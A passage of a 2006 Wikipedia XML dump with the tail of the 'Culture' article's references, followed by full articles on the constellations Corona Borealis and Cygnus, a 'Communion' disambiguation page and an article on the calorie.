* Bourdieu, Pierre.  ''Outline of a Theory of Practice.''  1977.
* Cohen, Anthony P.  ''The Symbolic Construction of Community.''  Routledge: New York, 1995 (1985). 
* Geertz, Clifford. (1973). ''The Interpretation of Cultures: Selected Essays''. New York. ISBN 0465097197.
* Hoult, Thomas Ford, ed. (1969). ''Dictionary of Modern Sociology''. Totowa, New Jersey, United States: Littlefield, Adams &amp; Co.
* Keiser, R. Lincoln (1969). ''The Vice Lords: Warriors of the Streets''. Holt, Rinehart, and Winston. ISBN 0-03-080361-6. Keiser's quotation from Geertz (p. viii) is cited from Geertz, C., 1957, &quot;Ritual and Social Change: A Javanese Example,&quot; ''American Anthropologist'', Vol. 59, No. 1. p. 33-34.
* Kroeber, A. L. and C. Kluckhohn, 1952. ''Culture: A Critical Review of Concepts and Definitions''. Peabody Museum, Cambridge, Massachusetts, United States.
* Middleton, Richard (1990/2002). ''Studying Popular Music''. Philadelphia: Open University Press. ISBN 0335152759. 
* [http://anthro.palomar.edu/tutorials/cultural.htm Cultural Anthropology Tutorials], Behavioral Sciences Department, Palomar College, San Marco, California, United States, as of December 12, 2004.
* UNESCO, &quot;[http://www.unesco.org/education/imld_2002/unversal_decla.shtml UNESCO Universal Declaration on Cultural Diversity]&quot;, issued on [[International Mother Language Day]], [[February 21]], 2002.

==See also==
&lt;!-- We might want to include some info from some of these in the main body. --&gt;
{{portal}}
{{wikiquote}}
{{wiktionary}}
{{wikinewspar|Culture and entertainment}}
{{commonscat}}
*[[Acculturation]] 
*[[Cross-cultural communication]]
*[[Cultural bias]] - [[cultural diversity]] - [[cultural evolution]] - [[cultural imperialism]]
*[[Culture theory]] - [[Culture war]] - [[Culture jamming]] &lt;!--does this really belong here? - YES! --&gt;
*[[Dominator culture]]
*[[European Capital of Culture]] &amp;mdash; city chosen by the [[European Union]] for a year at a time to showcase its cultural life
*[[Generation Y Culture]]
*[[Kulturkampf]] &amp;mdash; a specific cultural fight in 1870s Germany
*[[Organizational culture]]
*[[Culture and Society]] - a literary study of the idea in Britain
*[[World Values Survey]]
*[[Free Culture Movement]]

==External links==
*[http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv1-72 ''Dictionary of the History of Ideas'':] &quot;Cultural Development&quot; in Antiquity
*[http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv1-73 ''Dictionary of the History of Ideas'':] &quot;Culture&quot; and &quot;Civilization&quot; in Modern Times
* [http://samvak.tripod.com/class.html Classificatory system for cultures and civilizations], by Dr. Sam Vaknin
*[http://www.latinoarts.org/ Association of Hispanic Arts (AHA)]

[[Category:Culture| ]]
[[Category:History of ideas]]
[[Category:Top 10| Culture]]

[[an:Cultura]]
[[ar:ثقافة]]
[[ast:Cultura]]
[[be:Культура]]
[[bn:সংস্কৃতি]]
[[ca:Cultura]]
[[cs:Kultura]]
[[da:Kultur]]
[[de:Kultur]]
[[el:Πολιτισμός (αρχαιολογία)]]
[[eo:Kulturo]]
[[es:Cultura]]
[[eu:Kultura]]
[[fi:Kulttuuri]]
[[fr:Culture]]
[[fy:Kultuer]]
[[he:תרבות]]
[[hr:Kultura]]
[[hu:Kultúra]]
[[ia:Cultura]]
[[io:Kulturo]]
[[it:Cultura]]
[[ja:文化]]
[[ko:문화]]
[[ku:Çand]]
[[lad:Kultura]]
[[lt:Kultūra]]
[[mo:Културэ]]
[[nah:Cultura]]
[[nds:Kultur]]
[[ng:Hastangi]]
[[nl:Cultuur]]
[[nn:Kultur]]
[[no:Kultur]]
[[pl:Kultura]]
[[pt:Cultura]]
[[ro:Cultură]]
[[ru:Культура]]
[[simple:Culture]]
[[sl:Kultura]]
[[sr:Култура]]
[[sv:Kultur]]
[[tl:Kultura]]
[[tt:Mädäniät]]
[[uk:Культура]]
[[vi:Văn hóa]]
[[zh:文化]]
[[zh-min-nan:Bûn-hoà]]</text>
    </revision>
  </page>
  <page>
    <title>Corona Borealis</title>
    <id>6420</id>
    <revision>
      <id>41411091</id>
      <timestamp>2006-02-27T03:35:05Z</timestamp>
      <contributor>
        <username>Tom harrison</username>
        <id>42168</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/68.201.244.197|68.201.244.197]] ([[User talk:68.201.244.197|talk]]) to last version by GrinBot</comment>
      <text xml:space="preserve">{{Infobox Constellation|
name = Corona borealis |
abbreviation = CrB |
genitive = Coronae Borealis |
symbology = The Northern Crown |
RA = 16 |
dec= +30 |
areatotal = 179 |
arearank = 73rd |
numberstars = 1 |
starname = ([[Alpha Coronae Borealis|&amp;alpha; CrB]]) (Alphecca or Gemma)  |
starmagnitude = 2.2 |
meteorshowers = None |
bordering =
*[[Hercules (constellation)|Hercules]]
*[[Boötes]]
*[[Serpens|Serpens Caput]] |
latmax = 90 |
latmin = 50 |
month = July |
notes=}}
'''Corona Borealis''' ([[Latin]] for ''[[north]]ern [[crown]]'') is a small northern [[constellation]] whose main [[star|stars]] form a semicircular arc. It is one of the 88 modern constellations, and was also one of the 48 constellations listed by [[Ptolemy]], who referred to the constellation as Corona.  The ''Borealis'' (northern) was
added later on, to contrast with [[Corona Australis]], the southern crown.

==Notable features==
It has no first magnitude stars.  Its brightest star, [[Alpha Coronae Borealis|&amp;alpha; CrB]] (Alphecca, also known as Gemma) is of magnitude 2.2 (slightly [[variable star|variable]]) and is considered a member of the diffuse [[Ursa Major Moving Group]]. The constellation contains several interesting variable stars: two of the best known are [[R Coronae Borealis]] and [[T Coronae Borealis]].

==Notable deep sky objects==
Corona Borealis contains no bright deep sky objects.  [[Abell 2065]] is a
a highly concentrated [[galaxy cluster]] containing over 400 members, the
brightest of which are of [[apparent magnitude|16th magnitude]].

==Mythology==
Corona Borealis was sometimes considered to represent a crown that was given by [[Dionysus]] to [[Ariadne]], the daughter of [[Minos]] of Crete. At other points it was considered to belong, in a sense, to [[Boötes]], whomever that might represent.

==Stars==
:Stars with proper names:
:* ([[Alpha Coronae Borealis|5/&amp;alpha; CrB]]) 2.22 '''Alphecca''' [''Alphacca, Alphekka''] or '''''Gemma''''' or '''''Gnosia''''' [''Gnosia Stella Coronae''] or '''''Asteroth''''' [''Ashtaroth''] 
:*: &lt; &amp;#1575;&amp;#1604;&amp;#1606;&amp;#1575;&amp;#1574;&amp;#1585; &amp;#1575;&amp;#1604;&amp;#1601;&amp;#1603;&amp;#1617;&amp;#1577;  ''an-na´ir al-fakkah''  The bright one of the broken (ring of stars)
:*: &lt; ''gemma'' The jewel
:*: &lt; ''gn&amp;#333;sia stella cor&amp;#333;næ'' Star of Ariadne's (&quot;of Knossos's&quot;) crown
:*: &lt; &amp;#1506;&amp;#1513;&amp;#1514;&amp;#1512;&amp;#1494;&amp;#1514; ''&lt;sup&gt;c&lt;sup&gt;ašterôt'', Astarte (idols) [plural of ''Ashtoreth'' Astarte/Ishtar, the Semitic fertility goddess]

:* ([[Beta Coronae Borealis|3/&amp;beta; CrB]]) 3.66 '''Nusakan'''
:*: &lt; ? ''an-nasaqan'' The (two) series
:Stars with Bayer designations:
::[[Gamma Coronae Borealis|8/&amp;gamma; CrB]] 3.81; [[Delta Coronae Borealis|10/&amp;delta; CrB]] 4.59; [[Epsilon Coronae Borealis|13/&amp;epsilon; CrB]] 4.14; [[Zeta1 Coronae Borealis|7/&amp;zeta;&lt;sup&gt;1&lt;/sup&gt; CrB]] 6.00; [[Zeta2 Coronae Borealis|7/&amp;zeta;&lt;sup&gt;2&lt;/sup&gt; CrB]] 5.07; [[Theta Coronae Borealis|4/&amp;theta; CrB]] 4.14; [[Eta Coronae Borealis|2/&amp;eta; CrB]] &amp;ndash; double 4.99, 6.08; [[Iota Coronae Borealis|14/&amp;iota; CrB]] 4.98; [[Kappa Coronae Borealis|11/&amp;kappa; CrB]] 4.79; [[Lambda Coronae Borealis|12/&amp;lambda; CrB]] 5.43; [[Mu Coronae Borealis|6/&amp;mu; CrB]] 5.14; [[Nu1 Coronae Borealis|20/&amp;nu;&lt;sup&gt;1&lt;/sup&gt; CrB]] 5.20; [[Nu2 Coronae Borealis|21/&amp;nu;&lt;sup&gt;2&lt;/sup&gt; CrB]] 5.40; [[Xi Coronae Borealis|19/&amp;xi; CrB]] 4.86; [[Omicron Coronae Borealis|1/&amp;omicron; CrB]] 5.51; [[Pi Coronae Borealis|9/&amp;pi; CrB]] 5.57; [[Rho Coronae Borealis|15/&amp;rho; CrB]] 5.39 &amp;ndash; has a planet; [[Sigma Coronae Borealis|17/&amp;sigma; CrB]] &amp;ndash; double 5.23, 6.66; [[Tau Coronae Borealis|16/&amp;tau; CrB]] 4.73; [[Upsilon Coronae Borealis|18/&amp;upsilon; CrB]] 5.80
:Other notable stars:
:* [[R Coronae Borealis|R CrB]] 5.85 - 14.8 &amp;ndash; [[R Coronae Borealis variable|R CrB variable]] prototype
{{astro-stub}}
{{ConstellationsListedByPtolemy}}
{{ConstellationList}}

== External links ==
{{Commons|Corona Borealis}}
* [http://www.allthesky.com/constellations/coronaborealis/ The Deep Photographic Guide to the Constellations: Corona Borealis]

[[Category:Corona Borealis constellation|*]]

[[ca:Corona Boreal]]
[[cs:Severní koruna (souhvězdí)]]
[[da:Nordlige Krone]]
[[de:Nördliche Krone (Sternbild)]]
[[es:Corona Borealis]]
[[fr:Couronne boréale]]
[[ko:북쪽왕관자리]]
[[it:Corona Borealis]]
[[la:Corona Borealis (sidus)]]
[[lt:Šiaurės Vainikas]]
[[hu:Északi Korona (csillagkép)]]
[[nl:Noorderkroon]]
[[ja:かんむり座]]
[[nn:Nordlege krone]]
[[pt:Corona Borealis]]
[[ru:Северная Корона (созвездие)]]
[[sk:Súhvezdie Severná koruna]]
[[fi:Pohjan kruunu]]
[[sv:Norra kronan]]
[[th:กลุ่มดาวมงกุฎเหนือ]]
[[zh:北冕座]]</text>
    </revision>
  </page>
  <page>
    <title>Cygnus (constellation)</title>
    <id>6421</id>
    <revision>
      <id>39312946</id>
      <timestamp>2006-02-12T07:13:48Z</timestamp>
      <contributor>
        <ip>67.188.172.165</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox Constellation|
name = Cygnus |

abbreviation = Cyg |

genitive = Cygni |
symbology = the [[Swan]] |
RA = 20.62 |
dec= +42.03 |
areatotal = 804 |
arearank = 16th |
numberstars = 4 |
starname = [[Deneb]] (&amp;alpha; Cyg) |
starmagnitude = 1.25 |
meteorshowers =
*[[October Cygnids]]
*[[Kappa Cygnids]] |
bordering =
*[[Cepheus (constellation)|Cepheus]]
*[[Draco (constellation)|Draco]]
*[[Lyra]]
*[[Vulpecula]]
*[[Pegasus (constellation)|Pegasus]]
*[[Lacerta]] |
latmax = 90 |
latmin = 40 |
month = September |
notes=}}

''For the software company, see [[Cygnus Solutions]].''

'''Cygnus''' (from the [[Latin]] for &quot;swan&quot;) is a northern [[constellation]]. It was one of [[Ptolemy]]'s 48 constellations, and is also one of the 88 modern constellations. Because of the pattern of its main [[star|stars]], it is sometimes known as the '''Northern Cross''' (in contrast to the [[Crux|Southern Cross]]). 

The bird extends over the [[Milky Way]], appearing to fly south.

==Notable features==

Cygnus contains several bright [[star]]s.

[[Deneb]], &amp;alpha; Cygni, is an extremely brilliant star, very prominent despite its distance (1 800 light years). The [[blue supergiant]] forms the swan's tail, the upper end of the Northern Cross, and one of the [[vertex|vertices]] of the [[Summer Triangle]] [[asterism (astronomy)|asterism]].

[[Albireo]], &amp;beta; Cygni, is at the swan's beak. It is one of the most beautiful [[double star]]s of the sky, a golden star easily distinguishable in a small telescope from its blue companion.

Another interesting star is [[61 Cygni]]. In [[1838]], this star had the highest known [[proper motion]] of any star in the sky; this was taken as evidence that it was relatively nearby and it was accordingly chosen as the first star (other than the [[Sun]]) to have its distance measured. It is 11.4 light years away, one of the closest stars to our solar system.

The star [[16 Cygni B]] is an [[extrasolar planet|extrasolar planetary system]] with one confirmed planet 1.5 times the mass of [[Jupiter (planet)|Jupiter]].

Cygnus also contains the [[X-ray]] source [[Cygnus X-1]], which is considered to be one of the most likely [[black hole]] candidates.

In addition, Cygnus has a variety of [[variable stars]], including [[XX Cygni|XX Cyg]] and [[V508 Cygni|V508 Cyg]].

==Notable [[deep sky object]]s==

Several [[star cluster]]s and [[nebula]]e are found in Cygnus due to its position on the Milky Way. [[NGC 7000]], the [[North America Nebula]], is found a bit to the east of Deneb. Its resemblance to the continent is best appreciated in photographs. The [[North America Nebula|Pelican Nebula]] (IC 5070) is nearby.

==History and mythology==
[[Image:Cygnus constellation drawing.jpg|thumb|250px|right|Drawing of Cygnus by Hevelius, 1690]]
The constellation bears a resemblance to a wide winged, long necked bird, in graceful flight [http://borghetto.astrofili.org/costellazioni/cygnus.JPG]. In [[Greek mythology]], the constellation represents several different legendary swans. [[Zeus]] disguised himself as a swan to rape [[Leda (mythology)|Leda]], who gave birth to the [[Gemini]], [[Helen of Troy]], and [[Clytemnestra]]. 

[[Orpheus]] was transformed into a swan after his murder, and was said to have been placed in the sky next to his [[lyre]] ([[Lyra]]). 

Finally, it is said that a youth named Cygnus was the boyfriend of the ill-fated [[Phaethon]]. After Phaethon was killed trying to drive the chariot of the sun, Cygnus searched desperately for his body in the river [[Eridanus (constellation)|Eridanus]] where it had fallen. He dove so many times into the river that Zeus took pity on him and changed him into the waterbird that has since borne his name.

Cygnus, together with other constellations in the [[Zodiac]] sign of  [[Sagittarius]] (specifically [[Lyra]] and [[Aquila (constellation)|Aquila]], together with [[Sagittarius]] itself), may be a significant part of the origin of the myth of the [[Stymphalian Birds]], one of [[The Twelve Labours]] of [[Herakles]].

In [[Chinese mythology]], the constellation Cygnus is the site of the once-a-year [[magpie]] bridge which connects the lovers Niu Lang and Zhi Nu (see [[Qi Xi]]).

==Stars==
:Stars with proper names:

:* (50/&amp;alpha; Cyg) 1.25 '''[[Deneb]]''' [''Deneb el Adige''] or '''''Deneb Cygni''''' or '''''Arided''''' [''Aridif, Arrioph''] or '''''Gallina'''''
:*: Deneb, Deneb el Adige &lt;  &amp;#1584;&amp;#1606;&amp;#1576; &amp;#1575;&amp;#1604;&amp;#1583;&amp;#1580;&amp;#1575;&amp;#1580;&amp;#1577; ''ðanab ad-daj&amp;#257;ja[h]'' Tail of the hen
:*: Gallina &lt; ''gall&amp;#299;na'' hen

:* (6/&amp;beta; Cyg) &amp;ndash; double 3.05, 5.12 '''[[Albireo]]''' or '''''Al Minhar al Dajajah''''' 
:*: Albireo &lt; ''ab ireo'' is a mistranslation of ''Al Minhar al Dajajah''. See the article for the history.
:*: Al Minhar al Dajajah &lt; &amp;#1605;&amp;#1606;&amp;#1602;&amp;#1575;&amp;#1585; &amp;#1575;&amp;#1604;&amp;#1583;&amp;#1580;&amp;#1575;&amp;#1580;&amp;#1577; ''minq&amp;#257;r ad-daj&amp;#257;ja[h]'' Beak (''lit.'' peak) of the hen

:* ([[Gamma Cygni|37/&amp;gamma; Cyg]]) 2.23 '''Sadr''' [Sador, Sadir]
:*: &lt; &amp;#1575;&amp;#1604;&amp;#1589;&amp;#1583;&amp;#1585; &amp;#1575;&amp;#1604;&amp;#1583;&amp;#1580;&amp;#1575;&amp;#1580;&amp;#1577;  ''a&amp;#351;-&amp;#351;adr ad-daj&amp;#257;jah''  The breast of the hen

:* ([[Epsilon Cygni|53/&amp;epsilon; Cyg]]) 2.48 '''Gienah''' [Gienah Cygni]
:*: &lt; &amp;#1580;&amp;#1606;&amp;#1575;&amp;#1581;  ''jan&amp;#257;&amp;#295;'' wing

:* ([[Pi1 Cygni|80/&amp;pi;&lt;sup&gt;1&lt;/sup&gt; Cyg]]) 4.69 '''Azelfafage'''
:*: &lt; ? Tortoise
:* ([[Omega1 Cygni|45/&amp;omega;&lt;sup&gt;1&lt;/sup&gt; Cyg]]) 4.94 (or ''Ruchba'', see [[Omega2 Cygni|&amp;omega;&lt;sup&gt;2&lt;/sup&gt; Cyg]])

:* ([[Omega2 Cygni|46/&amp;omega;&lt;sup&gt;2&lt;/sup&gt; Cyg]]) 5.44 '''Ruchba''' [Rukbat al Dajajah, Al Rukbah al Dajajah] 
:*: &lt; &amp;#1585;&amp;#1603;&amp;#1576;&amp;#1577; &amp;#1575;&amp;#1604;&amp;#1583;&amp;#1580;&amp;#1575;&amp;#1580;&amp;#1577;  ''rukbat[u] ad-daj&amp;#257;ja[h]'' Knee of the hen

:Stars with Bayer designations:
:: [[Delta Cygni|18/&amp;delta; Cyg]] 2.86; [[Zeta Cygni|64/&amp;zeta; Cyg]] 3.21; [[Theta Cygni|13/&amp;theta; Cyg]] 4.49; [[Eta Cygni|21/&amp;eta; Cyg]] 3.89; [[Iota Cygni|10/&amp;iota; Cyg]] 3.76; [[Kappa Cygni|1/&amp;kappa; Cyg]] 3.80; [[Lambda Cygni|54/&amp;lambda; Cyg]] 4.53; [[Mu1 Cygni|78/&amp;mu;&lt;sup&gt;1&lt;/sup&gt; Cyg]] 4.49; [[Mu2 Cygni|78/&amp;mu;&lt;sup&gt;2&lt;/sup&gt; Cyg]] 6.08; [[Nu Cygni|58/&amp;nu; Cyg]] 3.94; [[Xi Cygni|62/&amp;xi; Cyg]] 3.72; [[Omicron1 Cygni|31/&amp;omicron;&lt;sup&gt;1&lt;/sup&gt; Cyg]] 3.80; [[Omicron2 Cygni|32/&amp;omicron;&lt;sup&gt;2&lt;/sup&gt; Cyg]] 3.96; [[Pi2 Cygni|81/&amp;pi;&lt;sup&gt;2&lt;/sup&gt; Cyg]] 4.23; [[Rho Cygni|73/&amp;rho; Cyg]] 3.98; [[Sigma Cygni|67/&amp;sigma; Cyg]] 4.22; [[Tau Cygni|65/&amp;tau; Cyg]] 3.74; [[Upsilon Cygni|66/&amp;upsilon; Cyg]] 4.41; [[Chi Cygni|&amp;chi; Cyg]] 10.5; [[Phi Cygni|12/&amp;phi; Cyg]] 4.68; [[Psi Cygni|24/&amp;psi; Cyg]] 4.91; [[27 Cygni|27/b&lt;sup&gt;1&lt;/sup&gt; Cyg]] 5.38; [[28 Cygni|28/b&lt;sup&gt;2&lt;/sup&gt; Cyg]] 4.93; [[29 Cygni|29/b&lt;sup&gt;3&lt;/sup&gt; Cyg]] 4.93; [[16 Cygni|16/c Cyg]] &amp;ndash; double 5.99, 6.25; comp. B has a planet; [[20 Cygni|20/d Cyg]] 5.03; [[26 Cygni|26/e Cyg]] 5.06; [[59 Cygni|59/f&lt;sup&gt;1&lt;/sup&gt; Cyg]] 4.74; [[63 Cygni|63/f&lt;sup&gt;2&lt;/sup&gt; Cyg]] 4.56; [[71 Cygni|71/g Cyg]] 5.22; [[68 Cygni|68/A Cyg]] 5.04; [[P Cygni|34/P Cyg]] 4.77 &amp;ndash; hypergiant; [[P Cygni variable|P Cyg]] variable prototype
:Stars with Flamsteed designations:
:: [[2 Cygni|2 Cyg]] 4.99; [[4 Cygni|4 Cyg]] 5.17; [[7 Cygni|7 Cyg]] 5.73; [[8 Cygni|8 Cyg]] 4.74; [[9 Cygni|9 Cyg]] 5.39; [[11 Cygni|11 Cyg]] 6.03; [[14 Cygni|14 Cyg]] 5.41; [[15 Cygni|15 Cyg]] 4.89; [[17 Cygni|17 Cyg]] 5.00; [[19 Cygni|19 Cyg]] 5.18; [[22 Cygni|22 Cyg]] 4.95; [[23 Cygni|23 Cyg]] 5.14; [[25 Cygni|25 Cyg]] 5.15; [[30 Cygni|30 Cyg]] 4.80; [[33 Cygni|33 Cyg]] 4.28; [[35 Cygni|35 Cyg]] 5.14; [[36 Cygni|36 Cyg]] 5.58; [[39 Cygni|39 Cyg]] 4.43; [[40 Cygni|40 Cyg]] 5.63; [[41 Cygni|41 Cyg]] 4.01; [[42 Cygni|42 Cyg]] 5.90; [[43 Cygni|43 Cyg]] 5.73; [[44 Cygni|44 Cyg]] 6.21; [[47 Cygni|47 Cyg]] 4.61; [[48 Cygni|48 Cyg]] 6.32; [[49 Cygni|49 Cyg]] 5.53; [[51 Cygni|51 Cyg]] 5.41; [[52 Cygni|52 Cyg]] 4.22; [[55 Cygni|55 Cyg]] 4.81; [[56 Cygni|56 Cyg]] 5.06; [[57 Cygni|57 Cyg]] 4.80; [[60 Cygni|60 Cyg]] 5.38; [[61 Cygni|61 Cyg]] &amp;ndash; double 5.20, 6.05; nearby; [[69 Cygni|69 Cyg]] 5.93; [[70 Cygni|70 Cyg]] 5.30; [[72 Cygni|72 Cyg]] 4.87; [[74 Cygni|74 Cyg]] 5.04; [[75 Cygni|75 Cyg]] 5.09; [[76 Cygni|76 Cyg]] 6.07; [[77 Cygni|77 Cyg]] 5.73; [[79 Cygni|79 Cyg]] 5.69
:Other notable stars:
:* [[Cygnus X-1]] &amp;ndash; [[black hole]]
:* [[HD 187123]] 7.89 &amp;ndash; has a planet

==In Art and Literature==
The constellation is mentioned in the song '''[[Cygnus X-1]]''' by rock band [[Rush (band)|Rush]], on their [[1977]] album &quot;[[A Farewell to Kings]].&quot; In [[Frances the Mute]], a rock album by the [[Mars Volta]], Vismund Cygnus is the [[protagonist]].

==See also==

* [[Asterism (astronomy)|Asterism]]
* [[Cygnus Loop]]

{{ConstellationsListedByPtolemy}}
{{ConstellationList}}

== External links ==
{{Commons|Andromeda}}

* [http://www.allthesky.com/constellations/cygnus/ The Deep Photographic Guide to the Constellations: Cygnus]
* [http://160.114.99.91/astrojan/cygnus.htm The clickable Cygnus]

[[Category:Cygnus constellation|*]]

[[af:Cygnus]]
[[cs:Labuť (souhvězdí)]]
[[da:Svanen]]
[[de:Schwan (Sternbild)]]
[[es:Cygnus]]
[[eo:Cigno (stelfiguro)]]
[[fr:Cygne (constellation)]]
[[ko:고니자리]]
[[id:Cygnus]]
[[it:Cygnus (astronomia)]]
[[he:ברבור (קבוצת כוכבים)]]
[[la:Cygnus (sidus)]]
[[lt:Gulbė (astronomija)]]
[[hu:Hattyú (csillagkép)]]
[[nl:Zwaan (sterrenbeeld)]]
[[ja:はくちょう座]]
[[nn:Svana]]
[[pl:Łabędź (gwiazdozbiór)]]
[[ro:Lebăda (constelaţie)]]
[[ru:Лебедь (созвездие)]]
[[fi:Joutsen (tähdistö)]]
[[sv:Svanen (stjärnbild)]]</text>
    </revision>
  </page>
  <page>
    <title>Communion</title>
    <id>6422</id>
    <revision>
      <id>40506399</id>
      <timestamp>2006-02-21T01:41:24Z</timestamp>
      <contributor>
        <username>Martial Law</username>
        <id>514543</id>
      </contributor>
      <text xml:space="preserve">'''Communion''' may mean:
*[[Communion (Christian)]], the relationship between Christians as individuals or Churches
*The [[Communion of Saints]]
'''Communion''' may also refer to:
*The [[Eucharist]]
*A [[Christian denomination]] or group of related denominations
*Book written by [[Whitley Strieber]]. It is about ''his'' abductions by aliens.

{{disambig}}
[[de:Kommunion]]
[[it:Comunione (disambigua)]]
[[li:Communie]]
[[nl:Communie]]
[[sv:Kommunion]]</text>
    </revision>
  </page>
  <page>
    <title>Calorie</title>
    <id>6423</id>
    <revision>
      <id>41624443</id>
      <timestamp>2006-02-28T16:31:06Z</timestamp>
      <contributor>
        <username>Mormegil</username>
        <id>75813</id>
      </contributor>
      <minor />
      <comment>/* References */ +cs:</comment>
      <text xml:space="preserve">A '''calorie''' is an unit of measurement for energy. In most fields, it has been replaced by the [[joule]], the [[SI]] unit of energy. However, it remains in common use for the amount of energy obtained from food. Many different definitions for the calorie have emerged during the 19th and 20th century. They fall into two classes:

* The '''small calorie''' or '''gram calorie''' is the energy needed to increase the temperature of 1 [[gram|g]] of water by 1 °C. This unit of energy is equivalent to about 4.185 [[Joule|J]].

* The '''large calorie''' or '''kilogram calorie''' is the energy needed to increase the temperature of 1 [[kilogram|kg]] of water by 1 °C. This unit of energy is 1000-times larger than the gram calorie and equivalent to about 4.185 [[kilojoule|kJ]].

The kilogram calorie is today also called '''kilocalorie''' (symbol: '''kcal'''). The international standard definition of the term &quot;calorie&quot; (symbol: '''cal''') refers today to the gram calorie; this way, the term kilocalorie can also be interpreted to mean 1000 calories. However, where the term &quot;calorie&quot; is used in [[nutrition]] and food labeling, it commonly refers to the kilocalorie.

== Nutrition and food labels ==
[[image:Nutrition-label.jpg|right|220px]]

The &quot;calorie&quot; has become a common household term, because [[dietitian]]s recommend in cases of [[obesity]] to reduce body weight by increasing exercise (energy expenditure) and reducing energy intake. Many governments require food manufacturers to label the energy content of their products, to help consumers control their energy intake. In [[European Union|Europe]], manufacturers of prepackaged food must label the nutritional energy of their products in both kilocalories (&quot;kcal&quot;) and kilojoules (&quot;kJ&quot;). In the [[United States]], the equivalent mandatory labels display only &quot;calories&quot; (meaning kilocalories); an additional kilojoules figure is optional. The energy content of food is usually given on labels for 100 g and for a typical service size.

The amount of [[food energy]] in a particular food could be measured by completely burning the dried food in a [[calorimeter|bomb calorimeter]], a method known as direct [[calorimetry]] [http://www.merck.com/mmhe/sec12/ch152/ch152e.html]. However, the values given on food labels are not determined this way, because it overestimates the amount of energy that the human digestive system can extract, by also burning [[Dietary fiber|dietary fiber]]. Instead, standardized chemical tests and an analysis of the recipe are used to estimate the product's digestable constitutents ([[protein]], [[carbohydrate]], [[fat]], etc.). These results are then converted into an equivalent energy value based on a standardized table of energy densities:

{| class=wikitable
|-
! rowspan=2 | food component
! colspan=2 | energy density
|-
! kcal/g
! kJ/g
|-
| [[fat]]
| align=center|9
| align=center|37
|-
| [[ethanol]] (alcohol)
| align=center|7
| align=center|29
|-
| [[protein]]s
| align=center|4
| align=center|17
|-
| [[carbohydrate]]s
| align=center|4
| align=center|17
|-
| [[organic acid]]s
| align=center|3
| align=center|13
|-
| [[polyol]]s (sugar-free sweeteners)
| align=center|2.4
| align=center|10
|}

Other substances found in food (water, non-digestable fibre, minerals, vitamins) do not contribute to this calculated energy density.

Recommended daily energy intake values for young adults are: 2500 kcal/[[day|d]] (10 MJ/d, 120 W) for men and 2000 kcal/d (8 MJ/d, 100 W) for women. Children, sedentary and older people require less energy, physically active people more.

==Versions==
Three definitions of the calorie are today recognized internationally:
{| class=&quot;wikitable&quot;
|-
!Name
!Symbol
!Conversion factor
! width=&quot;50%&quot; | Remarks
|-
|15 °C calorie
|cal&lt;sub&gt;15&lt;/sub&gt;
|1 cal&lt;sub&gt;15&lt;/sub&gt; = 4.1855&amp;nbsp;J
|1 cal&lt;sub&gt;15&lt;/sub&gt; is the amount of heat (energy) required to warm 1&amp;nbsp;g of air-free water from 14.5&amp;nbsp;°C to 15.5&amp;nbsp;°C at a constant pressure of 101.325&amp;nbsp;kPa (1 [[atmospheric pressure|atm]]). The conversion factor was published by the [[CIPM]] in 1950 as the most accurate value that could be determined by experiment at the time. It has an uncertainty of 0.0005&amp;nbsp;J.
|-
|I.T. calorie
|cal&lt;sub&gt;IT&lt;/sub&gt;
|1 cal&lt;sub&gt;IT&lt;/sub&gt; = 4.1868&amp;nbsp;J
|The ''International Table calorie'' was adopted  by the Fifth International Conference on Properties of Steam (London, July 1956), with 1&amp;nbsp;Mcal&lt;sub&gt;IT&lt;/sub&gt; = 1.163&amp;nbsp;kWh (exactly).
|-
|thermochemical calorie
|cal&lt;sub&gt;th&lt;/sub&gt;
|1 cal&lt;sub&gt;th&lt;/sub&gt; = 4.184&amp;nbsp;J
|
|}

Other historic definitions include
* the 4 °C calorie, and
* the mean 0 °C to 100 °C calorie.

Of all these, what is most commonly meant by calorie in contemporary English text is the 15&amp;nbsp;°C calorie. Since these many definitions are a source of confusion and error, all calories are now [[deprecate]]d, especially for precise measurements. The [[SI|International System of Units (SI)]] unit for heat (and for all other forms of energy) is the [[joule]] (J).

In nutrition, the difference between these calorie definitions is of no practical relevance, because nutritional calories are not measured amounts of energy, but are calculated from food composition. This calculation uses internationally agreed conventional conversion factors, which are generously rounded values that roughly approximate the average energy density of a large number of different food samples. The exact composition of agricultural products varies ''far'' more than the less than 0.1% difference between the above definitions of the calorie as a physical energy measure.

== Trivia ==
* [[Unicode]] has a symbol for &quot;cal&quot;: (&amp;#13192;), but this is just a legacy code to accommodate old [[code page]]s in certain Asian languages, and it is not recommended for use in any language today.

* The conventional value chosen to define a ton of TNT is equal to 1 [[billion]] thermochemical calories: 1 t&lt;sub&gt;TNT&lt;/sub&gt; ≡ 1 × 10&lt;sup&gt;9&lt;/sup&gt; cal&lt;sub&gt;th&lt;/sub&gt;. The actual energy liberated from the explosion is somewhat more; see [[megaton]].

* Human fat tissue contains about 87% [[lipids]], which store about 9 kcal/g energy. Therefore, to lose 1 kg of body-fat tissue, the energy of about 870 g pure fat has to be used up, which corresponds to about 7800 kcal (32 MJ), that is one has to create a −7800 kcal deficit between energy intake and use. (In U.S. customary units, that is about 3500 kcal per pound.)

==See also==
* [[Food energy]]
* [[Empty calorie]]
* [[ISO 31-4]]

==External links==
* [http://www.ars.usda.gov/Services/docs.htm?docid=8964 USDA National Nutrient Database for Standard Reference - Release 18] Official publically available  reference database and online search.  Includes 7,146 foods and is free to download and use.  This database is the one used by most websites that provide calorie information.
* [http://www.caloriefreak.com/cgi-bin/caloriefreak/search-usda.cgi CalorieFreak] - Searchable and browseable nutrition database
* [http://www.healthyweightforum.org/eng/calorie-counter/ Calorie Counter] Searchable calorie database of over 11,000 foods - Including fast food (website has pop-up ads)
* [http://www.nutritiondata.com/ NutritionData's Nutrition Facts Calorie Counter]
* [http://www.stayfitalways.com/burnfat.php Tips on Burning Calorie and Fat at home]
* [http://www.calorie-count.com/ Calorie Counter Database]
* [http://www.dietandfitnesstoday.com/ Calorie counter and calories burned database] Searchable database of over 7,000 foods and calories burned for over 600 different activities.
* [http://www.thecaloriecounter.com/ The Calorite Counter]  Another site documenting the nutritional content of almost any food you eat.

==References==
* [http://europa.eu.int/scadplus/leg/en/lvb/l21092.htm European Union regulations on nutrition labeling]
